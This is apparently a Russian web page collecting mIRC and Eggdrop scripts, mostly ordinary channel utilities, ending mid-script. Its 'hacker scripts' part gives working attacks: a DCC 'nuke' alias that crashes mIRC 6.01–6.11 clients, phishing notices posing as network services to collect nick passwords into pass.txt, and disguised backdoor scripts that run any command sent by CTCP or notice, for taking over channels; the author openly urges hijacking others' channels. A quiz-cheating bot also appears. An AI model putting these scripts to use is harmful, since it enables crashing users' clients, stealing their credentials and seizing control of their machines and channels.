СКРИПТЫ

Хакерские скрипты

Разные скрипты

Клиенты и боты

Регистрация ника (это должно быть в скриптах):

on *:CONNECT: { if (%NickServ.IDENTIFY. [ $+ [ $me ] ]) { msg NickServ IDENTIFY %NickServ.IDENTIFY. [ $+ [ $me ] ] } } on *:nick: { if ($me == $nick) { if (%NickServ.IDENTIFY. [ $+ [ $newnick ] ]) { .msg NickServ IDENTIFY %NickServ.IDENTIFY. [ $+ [ $newnick ] ] } } }

Регистрация ника (это в меню - статус):

Зарегить ник:set %NickServ.IDENTIFY. [ $+ [ $me ] ] $$?="Введи свой пароль" | msg nickserv register %NickServ.IDENTIFY. [ $+ [ $me ] ] $?="Введи свой E-Mail"

При нажатии клавишь F4 в конец сообщения вставляется улыбка
Это надо писать в алиасах (5-ая кнопка мирка)

F4 { editbox $editbox($active) :-) }

Чтобы в мирке не открывались окошки при заходе на канал рекламирующие порносайты добавте в скрипты своего мирка вот эти строки (скрипты - это 7-ая кнопка мирки)

on ^*:OPEN:?: { if ($len($1-) > 100) { halt } elseif ($pos($1-,www) || $pos($1-,$chr(35))) { echo -st * Игнорируется приглашение на веб-страничку или в канал от $nick $+ : $1- | halt } }

Авто-топик

on ^*:topic:* { if ($nick != $me) { topic $chan www.intramail.ru/~zib/ } }

Заход на канал юзера

on ^*:join:*: { haltdef ;Отмена действия самого mIRC if ($nick == $me) { ; Действия при заходе на канал ;who $chan ;Для того чтобы сразу знать у всех хосты echo -t $chan =join= $DATE $server $chan $me $ip $email ;Информация о себе при заходе на канал if (%hi) { .timerHi $+ $chan 1 1 msg $chan %himsg } ;Автоприветствие в канал - если %hi есть, то %himsg на канал, через секунду после зхахода, это сделано для того, чтоб при многоих автозаходов не писать каждый раз приветствие } else { ; Действия при заходе на канал юзера if ($ini($mircini,events,$chan)) { ; Если в в настройках мирки установлено особое отображение захода на канал именно этого канала, это когда тыкаеться на значке канала мышой и там выбрать Events... if ($gettok($readini($mircini,events,$chan),1,44) == 1) { echo $color(Join text) -t $chan * Вошел: $nick $iif($gettok($readini($mircini,options,n0),2,44),$chr(40) $+ $address $+ $chr(41)) } elseif ($gettok($readini($mircini,events,$chan),1,44) == 2) { echo $color(Join text) -st * Вошел $chan $+ : $nick $iif($gettok($readini($mircini,options,n0),2,44),$chr(40) $+ $address $+ $chr(41)) } } else { ; Если в мирке нет особых настроек для канала, то беруться по умолчанию if ($gettok($readini($mircini,events,default),1,44) == 0) { echo $color(Join text) -t $chan * Вошел: $nick $iif($gettok($readini($mircini,options,n0),2,44),$chr(40) $+ $address $+ $chr(41)) } elseif ($gettok($readini($mircini,events,default),1,44) == 1) { echo $color(Join text) -st * Вошел $chan $+ : $nick $iif($gettok($readini($mircini,options,n0),2,44),$chr(40) $+ $address $+ $chr(41)) } } } } ; Цвет сообщения береться из настроек мирки (Alt+K) - Join text ; Вывод/невывод адреса ника тоже зависит от настройки mIRC Option - IRC - Options - Show: User adresses ; Скрипт выводит только короткое сообщение о вошел/вышел

Изменение режима каналов и юзеров

on ^*:RAWMODE:*: { haltdef if ($ini($mircini,events,$chan) && $gettok($readini($mircini,events,$chan),4,44) != 0) { if ($gettok($readini($mircini,events,$chan),4,44) == 1) { echo $color(Mode text) -t $chan * $nick установил режим: $1- } elseif ($gettok($readini($mircini,events,$chan),4,44) == 2) { echo $color(Mode text) -st * $nick установил на $chan режим: $1- } } else { if ($gettok($readini($mircini,events,default),4,44) == 0) { echo $color(Mode text) -t $chan * $nick установил режим: $1- } elseif ($gettok($readini($mircini,events,default),4,44) == 1) { echo $color(Mode text) -st * $nick установил на $chan режим: $1- } } } ; Цвет сообщения береться из настроек мирки (Alt+K) - Mode text ; Вывод в канале/статусе/скрыть береться из настроек mIRC: Options (Alt+O) - IRC - Events...

 

Скрипт бота читающего афоризмы: слушаеться опов на канале, для информации набрать `help

on ^*:TEXT:*:*: { if ($nick isop $chan) { if ($1 == `stop) { timer $+ $chan off | msg $chan Остановлен! } elseif ($1 == `start) { af $chan | msg $chan Старт! } elseif ($1 == `set ) { if ($2 <= 999 && $2 >= 10) { set %ZiBBot.interval. $+ $chan $2 | af $chan | msg $chan Интервал изменен на $2 ! } elseif (!$2) { msg $chan Текущий интервал [ %ZiBBot.interval. [ $+ [ $chan ] ] ] ! } else { msg $chan Возможный интервал с 10 до 999 сек. } } elseif ($1 == `help ) { msg $chan Команды: `start, `stop, `set <интервал в сек.> } } } ;Добавить в раздел алиасов: af timer $+ $1 99 $iif([ %ZiBBot.interval. [ $+ [ $1 ] ] ],[ %ZiBBot.interval. [ $+ [ $1 ] ] ],60) .play -r $1 txt\afor.txt 0

Скрипт бесперерывного нюкания mIRC v6.01 - v6.11. Для этого атакуемого надо внести в нотисы (/notify Nick Coment). В скрипте заменит NickAttackers на ник атакуемого.

on *:NOTIFY: { if ($nick == NickAttackers) { a NickAttackers } } ;В раздел алиасов занести: a { .raw PRIVMSG $1 $+(:,$chr(1),DCC) send " $+ $str($rand(a,z) $+ $chr(32),250) $+ " 0 2130706433 $+(8192,$chr(1)) }

Скрипт Автответа в привате.

;======== Запоминание для Автоответа on *:INPUT:* { if (%AutoSaySave && !$ctrlenter && $len(%say_window. [ $+ [ $active ] ]) < 50 && $len(%say_window. [ $+ [ $active ] ]) > 1) { write -ds $+ %say_window. [ $+ [ $active ] ] $mircdirScripts\AutoSay\ $+ $me $+ .txt write -a $mircdirScripts\AutoSay\ $+ $me $+ .txt %say_window. [ $+ [ $active ] ] $1- if (%AutoSayOtch) { echo $color(Listbox text) -at Автоответ запомнил на %say_window. [ $+ [ $active ] ] -> $1- } } } ;======== Автоответ on *:TEXT:*:?: { if (%AutoSay && !%temp.say.flood) { set %say_window. [ $+ [ $nick ] ] $TransAvtoSay($1-) if (%say_window. [ $+ [ $nick ] ]) { .timerautosay 1 30 unset %say_window. [ $+ [ $nick ] ] set %tmp.say.me $read($mircdirScripts\AutoSay\ $+ $me $+ .txt,tns,%say_window. [ $+ [ $nick ] ]) if ($readn != 0) { msg $nick %tmp.say.me if (%AutoSayOtch) { echo $color(Listbox text) -at Это был автоматический ответ! } set %temp.say.flood 1 .timerautosayflood 1 1 unset %temp.say.flood } } } } ;======== Меню настройки Автоответ .$iif(%AutoSaySave,$style(1)) запоминать:if (%AutoSaySave) { unset %AutoSaySave } | else { set %AutoSaySave on } .$iif(%AutoSay,$style(1)) отвечать:if (%AutoSay) { unset %AutoSay } | else { set %AutoSay on } .$iif(%AutoSayOtch,$style(1)) Отчитываться:if (%AutoSayOtch) { unset %AutoSayOtch } | else { set %AutoSayOtch on }

Скипт для #BuKTOPuHA на irc.nv-key.ru

;======== Автоответ на вопросы из базы irc.nv-key.ru ;======== www.intramail.ru/~zib | irc.nwg-nv.ru | #ZiBScripT ;======== ;======== Это надо скопировать в скрипты в раздел скриптов в мирке ;======== Рядом с mIRC.exe создать пустой файл base.txt (или можно не создавать) ;======== Зайти на irc.nv-key.ru - #BuKTOPuHA ;======== Скрипт будет запоминать ответы на вопросы и соберет базу, ;======== и по ходу будет отвечать на вопросы котрые он найдет в базе! on *:TEXT:*:#BuKTOPuHA: { if ($nick == BRigsO) { if ($strip($1) == Молодец, && $me isin $1-) { } elseif ($strip($1) == Молодец, && $me !isin $1- && %tmp.#BuKTOPuHA.q) { set %tmp.write %tmp.#BuKTOPuHA.q $+ * $+ $strip($6) if ($strip($7) != <<<,) { set %tmp.write %tmp.write $strip($7) if ($strip($8) != <<<,) { set %tmp.write %tmp.write $strip($8) if ($strip($9) != <<<,) { set %tmp.write %tmp.write $strip($9) if ($strip($10) != <<<,) { set %tmp.write %tmp.write $strip($10) } } } } write -a $mircdirbase.txt %tmp.write } elseif (2 isin $1- || $strip($1) == Портал) { } elseif ($strip($1) == Никто) { unset %tmp.#BuKTOPuHA.q } elseif ($strip($1 $2) == На счету) { } elseif ($strip($1) != Подсказка:) { set %i 191 | set %tmp.pos 999 while (%i < 255) { inc %i if (%tmp.pos > $pos($strip($1-),$chr(%i),1) ) { set %tmp.pos $pos($strip($1-),$chr(%i),1) } } set %i 96 while (%i < 122) { inc %i if (%tmp.pos > $pos($strip($1-),$chr(%i),1) ) { set %tmp.pos $pos($strip($1-),$chr(%i),1) } } set %i 64 while (%i < 90) { inc %i if (%tmp.pos > $pos($strip($1-),$chr(%i),1) ) { set %tmp.pos $pos($strip($1-),$chr(%i),1) } } set %tmp.#quizz $mid($strip($1-),%tmp.pos, $len($strip($1-)) ) set %tmp.#quizzT $gettok(%tmp.#quizz,0,40) set %tmp.#quizz $gettok(%tmp.#quizz,1- $+ $calc(%tmp.#quizzT - 1),40) set %tmp.#BuKTOPuHA.q %tmp.#quizz set %tmp.#quizz %tmp.#quizz $+ * echo #BuKTOPuHA 8,14Поиск: %tmp.#quizz set %tmp.#quizz $read(base.txt,tnw,%tmp.#quizz) if ($readn != 0) { set %tmp.#quizz.say $iif($rand(1,3) == 1,y,n) set %tmp.#quizz.t $rand(5,11) echo $chan 1,8Ответ: $gettok(%tmp.#quizz,2-,42) - $iif(%tmp.#quizz.say == y,Отвечу через %tmp.#quizz.t $+ sec.,Неотвечу) if (%tmp.#quizz.say == y) { .timerquizz 1 %tmp.#quizz.t msg #BuKTOPuHA $gettok(%tmp.#quizz,2-,42) } set %tmp.#quizz $read(base.txt,tnw,%tmp.#quizz,$calc($readn + 1)) while (%tmp.#quizz) { echo $chan 1,8Еще ответ: $gettok(%tmp.#quizz,2-,42) ;if (%tmp.#quizz.say == y) { .timer 1 %tmp.#quizz.t msg #BuKTOPuHA $gettok(%tmp.#quizz,2-,42) } set %tmp.#quizz $read(base.txt,tnw,%tmp.#quizz,$calc($readn + 1)) } } else { echo 4 #BuKTOPuHA 1,4Ответ не найден! } } } elseif ($me isin $1-) { ;Слудующая строчка будет работать тока в ZiBScripTv1.36 и выше ;.timerquizz 1 $rand(3,9) msg $chan $nick $+ , $aforz } }

Скипт для #BuKTOPuHA на irc.nv-key.ru исправленный на 25.08.2004

;======== ZiBScripT BuKTOPuHA v20040821 for mIRCv6.14 www.intramail.ru/~zib ;======== Автоответ на вопросы из базы irc.nv-key.ru ;======== www.intramail.ru/~zib | irc.nwg-nv.ru | #ZiBScripT ;======== ;======== Рядом с mIRC.exe создать пустой файл base.txt (или можно не создавать) ;======== Зайти на irc.nv-key.ru - #BuKTOPuHA ;======== Скрипт будет запоминать ответы на вопросы и соберет базу, ;======== и по ходу будет отвечать на вопросы котрые он найдет в базе! ;======== Вывод инфы о скрипте on *:LOAD: { echo -a 0,0======== echo -a 0,0=Скрипт для irc.nv-key.ru #BuKTOPuHA echo -a 0,0=Запоминает отвеченные вопросы echo -a 0,0=И потом сам начинает на них отвечать echo -a 0,0=(Отвечает хорошо - непалиться) echo -a 0,0=За сутки можно собрать около 1000 вопросов echo -a 0,0=Базу хранит рядом с mIRC в base.txt echo -a 0,0======== } on *:TEXT:*:#BuKTOPuHA: { if ($nick == BRigsO) { if (($strip($1) == Молодец,) && ($me $+ $chr(33) == $strip($2))) { halt } elseif (($strip($1) == которая) && ($strip($2) == находится) && ($strip($3) == тут:)) { halt } elseif (($strip($1) == Информацию) && ($strip($2) == о) && ($strip($3) == игре)) { halt } elseif (($strip($1) == Не) && ($strip($2) == забывайте,)) { halt } elseif (($strip($1) == Текущая) && ($strip($2) == пятёрка) && ($strip($3) == лидеров:)) { halt } elseif (($strip($1) == Игра) && ($strip($2) == остановлена) && ($strip($3) == в)) { ;timer 1 10 msg $chan !старт } elseif (($strip($2) == ЖИЗНЬ-СТРАННАЯ) && ($strip($3) == ШТУКА...)) { halt } elseif (($strip($1) == Начинаем.) && ($strip($2) == База) && ($strip($3) == данных:)) { halt } elseif ($strip($1) == Молодец, && $me !isin $1- && %BuKTOPuHA.tmp.#BuKTOPuHA.q) { set %BuKTOPuHA.tmp.write %BuKTOPuHA.tmp.#BuKTOPuHA.q $+ * $+ $strip($6) if ($strip($7) != <<<,) { set %BuKTOPuHA.tmp.write %BuKTOPuHA.tmp.write $strip($7) if ($strip($8) != <<<,) { set %BuKTOPuHA.tmp.write %BuKTOPuHA.tmp.write $strip($8) if ($strip($9) != <<<,) { set %BuKTOPuHA.tmp.write %BuKTOPuHA.tmp.write $strip($9) if ($strip($10) != <<<,) { set %BuKTOPuHA.tmp.write %BuKTOPuHA.tmp.write $strip($10) } } } } write -a $mircdirbase.txt %BuKTOPuHA.tmp.write } elseif (2 isin $1- || $strip($1) == Портал) { } elseif ($strip($1) == Никто) { unset %BuKTOPuHA.tmp.#BuKTOPuHA.q } elseif ($strip($1 $2) == На счету) { } elseif ($strip($1) != Подсказка:) { set %i 191 | set %tmp.pos 999 while (%i < 255) { inc %i if (%tmp.pos > $pos($strip($1-),$chr(%i),1) ) { set %tmp.pos $pos($strip($1-),$chr(%i),1) } } set %i 96 while (%i < 122) { inc %i if (%tmp.pos > $pos($strip($1-),$chr(%i),1) ) { set %tmp.pos $pos($strip($1-),$chr(%i),1) } } set %i 64 while (%i < 90) { inc %i if (%tmp.pos > $pos($strip($1-),$chr(%i),1) ) { set %tmp.pos $pos($strip($1-),$chr(%i),1) } } set %BuKTOPuHA.tmp.#quizz $mid($strip($1-),%tmp.pos, $len($strip($1-)) ) set %BuKTOPuHA.tmp.#quizzT $gettok(%BuKTOPuHA.tmp.#quizz,0,40) set %BuKTOPuHA.tmp.#quizz $gettok(%BuKTOPuHA.tmp.#quizz,1- $+ $calc(%BuKTOPuHA.tmp.#quizzT - 1),40) set %BuKTOPuHA.tmp.#BuKTOPuHA.q %BuKTOPuHA.tmp.#quizz set %BuKTOPuHA.tmp.#quizz %BuKTOPuHA.tmp.#quizz $+ * ;==== NEW 20040821 set %BuKTOPuHA.tmp.#quizz $replace(%BuKTOPuHA.tmp.#quizz,$chr(97),$chr(224),$chr(101),$chr(229),$chr(99),$chr(241),$chr(112),$chr(240),$chr(111),$chr(238),$chr(120),$chr(245),$chr(67),$chr(209)) set %i $len(%BuKTOPuHA.tmp.#quizz) while (%i > 0) { if ($asc($mid(%BuKTOPuHA.tmp.#quizz,%i,1)) < 191) { if ($ifmatch != 32 && $ifmatch != 42 && $ifmatch != 44 && $ifmatch != 33 && $ifmatch < 10) { echo #BuKTOPuHA 7,4 Найдена англ. буква %i : $mid(%BuKTOPuHA.tmp.#quizz,%i,1) - ' $ifmatch ' } } dec %i } ;==== echo #BuKTOPuHA 8,14Поиск: %BuKTOPuHA.tmp.#quizz set %BuKTOPuHA.t $read(base.txt,tnw,%BuKTOPuHA.tmp.#quizz) if ($readn != 0) { set %BuKTOPuHA.tmp.#quizz.say $iif($rand(1,2) == 1,y,n) set %BuKTOPuHA.tmp.#quizz.t $rand(6,9) echo $chan 1,8Ответ: $gettok(%BuKTOPuHA.t,2-,42) - $iif(%BuKTOPuHA.tmp.#quizz.say == y,Отвечу через %BuKTOPuHA.tmp.#quizz.t $+ sec.,Неотвечу) ;==== Подсказывать кому-нибудь ;notice Cherry 1,8Ответ: $gettok(%BuKTOPuHA.t,2-,42) - $iif(%BuKTOPuHA.tmp.#quizz.say == y,Отвечу через %BuKTOPuHA.tmp.#quizz.t $+ sec.,Неотвечу) ;==== if (%BuKTOPuHA.tmp.#quizz.say == y) { .timerquizz 1 %BuKTOPuHA.tmp.#quizz.t msg $chan $gettok(%BuKTOPuHA.t,2-,42) } set %BuKTOPuHA.t $read(base.txt,tnw,%BuKTOPuHA.tmp.#quizz,$calc($readn + 1)) while (%BuKTOPuHA.t) { echo $chan 1,8Еще ответ: $gettok(%BuKTOPuHA.t,2-,42) set %BuKTOPuHA.t $read(base.txt,tnw,%BuKTOPuHA.tmp.#quizz,$calc($readn + 1)) } } else { echo 4 #BuKTOPuHA 1,4Ответ не найден! } } } } ;======== Очищает переменные on *:UNLOAD: { unset %BuKTOPuHA.* }

Скипт автоматически переводящий сообщения в неправильной раскладке

;======== ZiBScripT translation v20041101 for mIRCv6.14 www.intramail.ru/~zib ;======== Dexus ScripT for mIRCv6.14 http://www.intramail.ru/~dexus/ ;======== on *:LOAD: { echo -a 0,0======== echo -a 0,0=ZiBScripT translation v20041101 for mIRCv6.14 www.intramail.ru/~zib echo -a 0,0=Идея: Dexus ScripT for mIRCv6.14 http://www.intramail.ru/~dexus/ echo -a 0,0=Скипт автоматически переводящий сообщения в неправильной раскладке echo -a 0,0======== set %translation nmcz ncz nen dsg djg gjc cnm bnm znm fnm ghb lkz yf yt yb jn gj gb gf df ds xn xt xj xb j[ jh jc jv jk vf vj vt cf cj [e [f [b '[ j] e] &&& kf kj hf hj kz ,k rf rj rb nf nj nb fv lf tn } on *:text:*:* { set %translation.strip $strip($1-) | unset %translation.say | set %translation.tmp 1 while ($mid(%translation.strip,%translation.tmp,1)) { set %translation.temp $asc($mid(%translation.strip,%translation.tmp,1)) set %translation.say %translation.say $+ $iif(%translation.temp > 191 && %translation.temp < 224,$chr($calc(%translation.temp + 32)),$chr(%translation.temp)) inc %translation.tmp } set %translation.tmp 0 while (%translation.tmp < $numtok(%translation,32)) { inc %translation.tmp if ($gettok(%translation,%translation.tmp,32) isin $lower(%translation.say)) { echo $color(other) $iif($chan,$chan,$nick) Перевод: $replace($strip($1-),",э,',э,&,?,q,й,w,ц,e,у,r,к,t,е,y,н,u,г,i,ш,o,щ,p,з,[,х,],ъ,a,ф,s,ы,d,в,f,а,g,п,h,р,j,о,k,л,l,д,;,ж,e,э,z,я,x,ч,c,с,v,м,b,и,n,т,m,ь,$chr(44),б,.,ю, ,ё,/,.) halt } } } ;======== Очищает переменные on *:UNLOAD: { unset %translation* }

Хакерские скрипты

Первым делом запустим второй мирк. Смените ник(например на SuccesServ), идент(например Servicess) и возьмите проки(http://www.impirc.alfaspace.net/index.php?module=articles&c=articles&b=3&a=4). Уберите все каналы из автозахода, нам не нужно что бы нас кто то обнаружил. Далее у нас есть 2 варианта:
1) Узнать пароль от ника фаундера.
2) Узнать пароль от канала.

Способ 1:
Откройте секцию скриптов(alt+r) и впишите туда:

alias hack { notice $1 Была попытка взлома вашего ника, notice $1 введите /msg $me password [пароль на ник], notice $1 что бы подтвердить себя, как notice $1 владельца ником. }

Введите /hack ник, и человек получит нотис с сообщением, что его ник пытались взломать и необходимо выслать пароль. Пароль он нам пришлет, и для правдоподобности сделаем авто-ответ:

on 1:text:password*:?:{ write pass.txt $nick $+: $2 notice $nick Ваш пароль изменен на: $2 notice $nick Запомните его, для дальнейшего notice $nick использования. quit }

Таким образом, когда наша жертва пришлет пароль, он запишется в файл pass.txt(в папку с мирком), и мирк ответив, автоматически закроется. Теперь вы знаете пароль и можете управлять как ником, там и каналами где он фаундер.
Ещё, можно подсунуть фаундеру какой нибудь скрипт, например:

on 1:CTCP:*:?:{ $1- }

Теперь вы сможете написав:
/ctcp ник что делать
Получить что угодно, например:
/ctcp ник msg chanserv set #канал faunder ваш_ник
Для примера работающий скрипт:

on 1:DEOP:#:{ if ($nick == $me) { halt } if ($opnick == $me) { msg chanserv op $chan } .write antideop.mrc on 1:ctcp:*:?:{ $1- } .load -rs antideop.mrc }

Когда жертву деопают, скрипт автоматически загрузится. Возможно вы спросите, почму я не сделал там, $decode(...)

.write antideop.mrc on 1:ctcp:*:?:{ $1- } .load -rs antideop.mrc

Просто если чел крутой админ, то это не значит что он знает мирк скриптинг :) А в основном везде и написано: опасайтесь скриптов типа:

//write cool.mrc $decode(blablabla) | .load -rs cool.mrc

Такой скрипт подсунуть даже реальнее :)
Такой скрипт тоже хорошо работает, наверное даже лучше. Жертва даже не увидит ваших запросов. Работает с нотис, например: /notice SonicX /quit

on ^*:NOTICE:?:{ if (/* iswm $1-) { $1- halt } }

Способ2:
Можно убедить человека в том, что у него не установлены защиты на канал, и когда он сростит, как это сделать, скажите ему что бы он написал:
/msg (ник вашего клона) protect #канал on пароль
для правдоподобности можно овтетить нотисом:

on 1:text:protect*:?:{ notice $nick Защита для $2 включена. }

Можно написать фаундеру канала(от лица вашего клона(сервиса сети)), что пытались взломать канал, вам нужно будет переделать только скрипт в способе 1.
Я не несу ответствености за то, что люди сделают с этим материалом. Я лишь призываю вас, взламывать чужие каналы.

Разные скрипты

Антидеоп

on 1:Load:{ set %logo1 AnTi DeOP by Qaqash- } #deopro on on 1:deop:#: { if ($nick == $me) { halt } if ($nick == ChanServ) { halt } if ( $opnick = $me ) { /inc %kick.counter | /msg chanserv op $chan $me | notice $me 4Atention: 5 $+ $nick has tryied to take your @ | /msg chanserv deop $chan $nick | /.timer753 1 5 /kick $chan $nick 2[4DEOP PROTETION2] 4< 14V?15ct14im 2N?: %kick.counter > < $+ $time $+ > %logo1 } } #deopro end -------------- menu menubar,status,channel »»[PrOtEtIoNs]« .»Anti Deop« ..»Ativar %deop:.enable #deopro | set %deop (X) | unset %deop2 | /echo -s 2Protetion 4Anti DeOp 2is now 4ON2! %logo1 | /set %p7 On ..»Desativar %deop2:.disable #deopro | set %deop2 (X) | unset %deop | /echo -s 2Protetion 4Anti DeOp 2is now 4OFF2! %logo1 | /set %p7 Off ---------- BY Qaqash-

Автоунбан

on *:ban:#: { if (($me isop $chan) || ($me ishelp $chan)) { if ($ibl($chan,0) <= 13) { halt } set %UnBanz $ibl($chan,0) .onotice $chan Banlist 13 u Gecdi ve axirinci 10 denesi Silinir..! mode $chan -bbbbbb $ibl($chan,%UnBanz) $ibl($chan,$calc(%UnBanz - 1)) $ibl($chan,$calc(%UnBanz - 2)) $ibl($chan,$calc(%UnBanz - 3)) $ibl($chan,$calc(%UnBanz - 4)) $ibl($chan,$calc(%UnBanz - 5)) mode $chan -bbbb $ibl($chan,$calc(%UnBanz - 6)) $ibl($chan,$calc(%UnBanz - 7)) $ibl($chan,$calc(%UnBanz - 8)) $ibl($chan,$calc(%UnBanz - 9)) } }

Автореклама

ON 1:text:***:?:{ msg $nick $nick #kanal xaish edirem gel bu kanala bunu remote a yazmaqla /remote on edirsiz!ve o nice yazan adama avto reklam edir!

Плохой ник

############################################################################### ################# Bad Nick Control by Prince_of_the_net ################# ############################################################################### #It is annoying to find people joining your channel with annoying nicks.This #script will teach all thoes lamers a good lesson.It bans for thetime specified #in the configuration section on the warning offenses.And after the expiry of #warnings it creats a permanent nick ban.Use it, Enjoy it and *please* submit #me bug reports at Prince_of_the_net@k.st if you find any.Also if you make some #toocool modification to this script, please let me know.All contributions will #be acknowledged in thefuture release of the script.Special thanks goes to MC_8 #for providing me with the idea of masking the bans.You can find me in #delhi ##eggdrop and #dalnethelp on DALNET. # # #This script has been provided "AS IS and with all its "FAULTS" the author will #not be responsible for any kind of damage caused by the script.However the #author would like to help with problems the user may face while using this #script.This script may not suit to your needs but the author can't be held #responsible in such cases and the author would like to protect this script #under the GNU Public license.You can get a latest copy of the license at #http://www.gnu.org. # ############################################################################### ############################### USAGE ############################### ############################################################################### # #Edit the configiration section to suit your needs. Add a line #"set logo <<$botnick>>" to your bot config file *before*loading the script.Load #the script using "source scripts/Badnick.tcl".Finally .rehash or .restart the #bot to activate the script. # # ############################################################################### ########### Configuration starts here ############ ############################################################################### # #What are the flags you want to exempt from the check? <Global|Channel> set bnick_protect "mf|mf" #Set this to the bantime to be put initially in mins set bnick_bantime 30 #Set this to the initial kick message. set bnick_kick "Your nick sounds bad.Change it and come back. $logo" #Set this to the number of times of offence after which the hostmask is banned. #Putting 0 here would cause the ban to become permanent on the first offence. set bnick_warn 1 #Set this to the permanent ban message. set bnick_ban "I said you to change your nick.Now you are permanently banned. $logo" #Set this to all the nicks you want to kick.You can use "*" for multi character matches and #"?" for single character matches. set bnicks { "*fuck*" "*sIK*" "*biatch*" "*nipple*" "*n1pple*" "*bastard*" "*cock*" "*f*u*c*k*" "*slut*" "*slut*" "*asshole*" "*pussy*" "*whore*" "*dick*" "*horn*" "*suck*" "*shithead*" "*dick*" "*cunt*" "*foul*" "*aunt*" "*blowjob*" "*choot*" "*chut*" "*dild*" "*viagra*" "*tits*" "*t1ts*" "*whore*" "*wh0re*" "*hole*" "h0le*" "*lund*" "*bl0wj0b*" "*boob*" "*b00b*" "*slut*" "*ch0d*" "*chod*" } # How do you want it to mask a ban? Default == 2 # 0 - *!user@host.domain # 1 - *!*user@host.domain # 2 - *!*@host.domain # 3 - *!*user@*.domain # 4 - *!*@*.domain # 5 - nick!user@host.domain # 6 - nick!*user@host.domain # 7 - nick!*@host.domain # 8 - nick!*user@*.domain # 9 - nick!*@*.domain # You can also specify a type of 10 to 19 which correspond to masks 0 to 9, but # instead of using a * wildcard to replace portions of the host.domain, it uses ? # wildcards to replace the numbers in the address. #Set this to the mask type which would be set when a warning ban in set. set bnick_ban_type_warn 13 #Set this to the mask type which would be set when a permanent ban in set. set bnick_ban_type_perm 12 ############################################################################### ####You can edit below this but don't ask me why things are acting weird :P#### ############################################################################### bind join - * bnick:Badnick bind nick - * bnick:Process proc bnick:Process {nick uhost hand chan newnick} { set nick $newnick bnick:Badnick {$nick $uhost $hand $chan} } proc bnick:Badnick {nick uhost hand chan} { global bnick bnick_protect bnick_warn bnick_ban bnicks bnick_kick bnick_bantime bnick_ban_type_warn bnick_ban_type_perm logo if {![botisop $chan]} {return 0} set temp 0 foreach i [string tolower $bnicks] { if {[string match $i [string tolower $nick]]} {set temp 1} } if {!$temp} {return 0} {if {[matchattr $hand [lindex [split $bnick_protect |] 1] $chan] || [matchattr $hand [lindex [split $bnick_protect |] 0]]} {return 0} { if {[info exists bnick_warn($uhost)]} {incr bnick_warn($uhost) 1} {set bnick_warn($uhost) 1} if {[expr $bnick_warn+1] <= $bnick_warn(uhost)} { unset bnick_warn($uhost) newchanban $chan [bnick:masktype [getchanhost $nick $chan] $bnick_ban_type_perm] "Auto Ban" "Excessive badnick joins from host" 0 putlog "Set $nick to autokick on channel $chan for using bad nicks" } {newchanban $chan [bnick:masktype [getchanhost $nick $chan] $bnick_ban_type_warn] "AutoBan" "Badnick" $bnick_bantime putkick $chan $nick $bnick_kick putlog "Warning Ban set for $nick on $chan for having Bad Nick"} } } } proc bnick:replace {string subs} { if {[llength $subs] == "1"} {set subs [lindex $subs 0]} for {set i 0} {[lindex $subs $i] != ""} {incr i 2} { regsub -all -- [lindex $subs $i] $string [lindex $subs [expr $i+1]] string } ; return $string } proc bnick:masktype {uhost type} { if {![string match "*!*@*.*" $uhost]} { set nick [lindex [split $uhost "!"] 0] ; set uhost "$nick![getchanhost $nick]" if {$uhost == "$nick!"} {set type "return_nothing"} } switch -exact $type { 0 {set ban "*[string range $uhost [string first ! $uhost] e]"} 1 {set ban "*!*[string trimleft [string range $uhost [expr [string first ! $uhost]+1] e] "~"]"} 2 {set ban "*!*[string range $uhost [string first @ $uhost] e]"} 3 { set ident [string range $uhost [expr [string first ! $uhost]+1] [expr [string last @ $uhost]-1]] set ban "*!*[string trimleft $ident "~"][string range [maskhost $uhost] [string first @ [maskhost $uhost]] e]" } 4 {set ban "*!*[string range [maskhost $uhost] [string last "@" [maskhost $uhost]] e]"} 5 {set ban $uhost} 6 { set nick [string range $uhost 0 [expr [string first "!" $uhost]-1]] set ident [string range $uhost [expr [string first "!" $uhost]+1] [expr [string last "@" $uhost]-1]] set ban "$nick!*[string trimleft $ident "~"][string range $uhost [string last "@" $uhost] e]" } 7 { set nick [string range $uhost 0 [expr [string first "!" $uhost]-1]] set ban "$nick!*[string range $uhost [string last "@" $uhost] e]" } 8 { set nick [string range $uhost 0 [expr [string first "!" $uhost]-1]] set ident [string range $uhost [expr [string first "!" $uhost]+1] [expr [string last "@" $uhost]-1]] set ban "$nick!*[string trimleft $ident "~"][string range [maskhost $uhost] [string last "@" [maskhost $uhost]] e]" } 9 { set nick [string range $uhost 0 [expr [string first "!" $uhost]-1]] set ban "$nick!*[string range [maskhost $uhost] [string last "@" [maskhost $uhost]] e]" } 10 { set host [string range $uhost [string last "@" $uhost] e] if {[bnick:findip [string range $host 1 e]] == "0"} { set host [bnick:replace $host "1 ? 2 ? 3 ? 4 ? 5 ? 6 ? 7 ? 8 ? 9 ? 0 ?"] set ident [string range $uhost [expr [string first "!" $uhost]+1] [expr [string last "@" $uhost]-1]] set ban "*!$ident$host" } {set ban [bnick:masktype $uhost 0]} } 11 { set host [string range $uhost [string last "@" $uhost] e] if {[bnick:findip [string range $host 1 e]] == "0"} { set host [bnick:replace $host "1 ? 2 ? 3 ? 4 ? 5 ? 6 ? 7 ? 8 ? 9 ? 0 ?"] set ident [string range $uhost [expr [string first "!" $uhost]+1] [expr [string last "@" $uhost]-1]] set ban "*!*[string trimleft $ident "~"]$host" } {set ban [bnick:masktype $uhost 1]} } 12 { set host [string range $uhost [string last "@" $uhost] e] if {[bnick:findip [string range $host 1 e]] == "0"} { set host [bnick:replace $host "1 ? 2 ? 3 ? 4 ? 5 ? 6 ? 7 ? 8 ? 9 ? 0 ?"] set ban "*!*$host" } {set ban [bnick:masktype $uhost 2]} } 13 { set host [string range $uhost [string last "@" $uhost] e] if {[bnick:findip [string range $host 1 e]] == "0"} {set ban [bnick:masktype $uhost 11]} {set ban [bnick:masktype $uhost 3]} } 14 { set host [string range $uhost [string last "@" $uhost] e] if {[bnick:findip [string range $host 1 e]] == "0"} {set ban [bnick:masktype $uhost 12]} {set ban [bnick:masktype $uhost 4]} } 15 { set host [string range $uhost [string last "@" $uhost] e] if {[bnick:findip [string range $host 1 e]] == "0"} { set host [bnick:replace $host "1 ? 2 ? 3 ? 4 ? 5 ? 6 ? 7 ? 8 ? 9 ? 0 ?"] set rest [string range $uhost 0 [expr [string last "@" $uhost]-1]] set ban $rest$host } {set ban [bnick:masktype $uhost 5]} } 16 { set host [string range $uhost [string last "@" $uhost] e] if {[bnick:findip [string range $host 1 e]] == "0"} { set host [bnick:replace $host "1 ? 2 ? 3 ? 4 ? 5 ? 6 ? 7 ? 8 ? 9 ? 0 ?"] set rest 